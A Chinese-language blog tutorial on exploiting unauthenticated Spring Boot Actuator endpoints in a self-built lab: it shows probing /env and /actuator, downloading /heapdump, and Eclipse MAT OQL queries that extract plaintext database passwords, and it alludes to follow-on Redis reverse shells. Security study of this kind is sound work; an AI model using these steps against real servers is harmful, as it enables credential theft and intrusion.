SpringBoot Actuator未授权抓取密码

简介: SpringBoot Actuator未授权抓取密码

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。

如上所言,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

环境搭建:

搜了一圈,没有现成的靶场,无奈自己maven了一个,毕竟是组件漏洞,图上有些页面是没有的,需要额外扩展。

SpringBoot 版本1.x的 ,直接getshell 是不可能的,所以后续环境搭建ok了 我会写出来。不过 这次的质量也还行,如果里面有很多数据库,那么所有的密码 都可以抓取出来。如 mysql ,后续可udf提取,redis 反弹shell之类的。

我使用的系统是Centos 7.6

 yum install maven -y
 git clone https://github.com/veracode-research/actuator-testbed
 cd actuator-testbed
 mvn spring-boot:run

一套操作,就启动了,默认端口8090.后续可以改端口在这里

# 可以使用find 命令 快速定位文件位置
find / -name "application.properties"

配置文件更改ip 端口 数据库账号信息等等 是这个样子

安装好后的页面是这样

如何判断是否使用了 springboot框架?  ioc图标,index页面

如何端口是否有漏洞?

spring boot 1.x    ip/域名后面加上 /env

spring boot 2.x    ip/域名后面加上 /actuator

访问所有数据 google 是这样的

640.png

火狐是这样的

下面翻 可以看到有mysql数据库 也有对应的用户名密码,吐槽下,网上有些人瞎说,不管springboot版本是多少,密码都是加密的,而不是明文的。

下载内存中的数据,抓取密码。这是使用这个工具

使用 Eclipse Memory Analyzer 工具的 OQL 语句

https://www.eclipse.org/mat/downloads.php

导出数据

http://10.0.0.35:8090/heapdump

就会生成一个包,直接拖进去。

输入语句查询密码  注意框架版本

# spring_boot 1.x 
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) 
# spring_boot 2.x 
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

然后点击红色杠杠

然后就出现了 出现两次

对比配置文件里的密码 结果是一样的

ok 结束。SpringBoot Actuator未授权抓取密码



相关文章
|
2月前
|
druid Java 数据库
druid+springboot加解密Druid链接池配置加密密码链接数据库
druid+springboot加解密Druid链接池配置加密密码链接数据库
80 0
|
SQL 监控 druid
spring boot 实现密码连续输入错误5次,限制十分钟内不能进行登录(下)
spring boot 实现密码连续输入错误5次,限制十分钟内不能进行登录(下)
spring boot 实现密码连续输入错误5次,限制十分钟内不能进行登录(下)
|
6月前
|
存储 Java 数据库
java spring boot 数据库密码解密
java spring boot 数据库密码解密
|
7月前
|
JSON 算法 Java
Spring boot框架 JWT实现用户账户密码登录验证
Spring boot框架 JWT实现用户账户密码登录验证
|
4月前
|
存储 JSON 安全
使用shiro对数据库中的密码进行加密存储(java+springboot+shiro)
使用shiro对数据库中的密码进行加密存储(java+springboot+shiro)
100 0
|
5月前
|
安全 架构师 Java
SpringBoot【集成 jasypt】实现配置信息自定义加解密(自定义的属性探测和密码解析器)
SpringBoot【集成 jasypt】实现配置信息自定义加解密(自定义的属性探测和密码解析器)
163 0
|
5月前
|
NoSQL MongoDB 数据库
MongoDB【部署 03】Windows系统安装mongodb并设置用户名密码(无需安装mongosh)及SpringBoot集成报错 Command failed with error 18
MongoDB【部署 03】Windows系统安装mongodb并设置用户名密码(无需安装mongosh)及SpringBoot集成报错 Command failed with error 18
158 0
|
8月前
|
Java 数据库连接 数据库
springboot 如何对数据库密码进行加密
在Spring Boot中,你可以通过以下步骤对数据库密码进行加密: 1. 引入必要的依赖: 在 `pom.xml` 文件中添加以下依赖,以使用Spring提供的加密功能: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> ``` 2. 创建加密配置类: 在你的项目中创建一个配置类,用于配置密码加密的设置。例如,创建一个名为 `EncryptionConfig` 的
2163 0
|
9月前
|
前端开发 NoSQL Java
基于SpringBoot实现邮箱找回密码
基于SpringBoot实现邮箱找回密码
200 0
|
前端开发 Java 测试技术
SpringBoot实现通过邮箱找回密码功能
SpringBoot实现通过邮箱找回密码功能
SpringBoot实现通过邮箱找回密码功能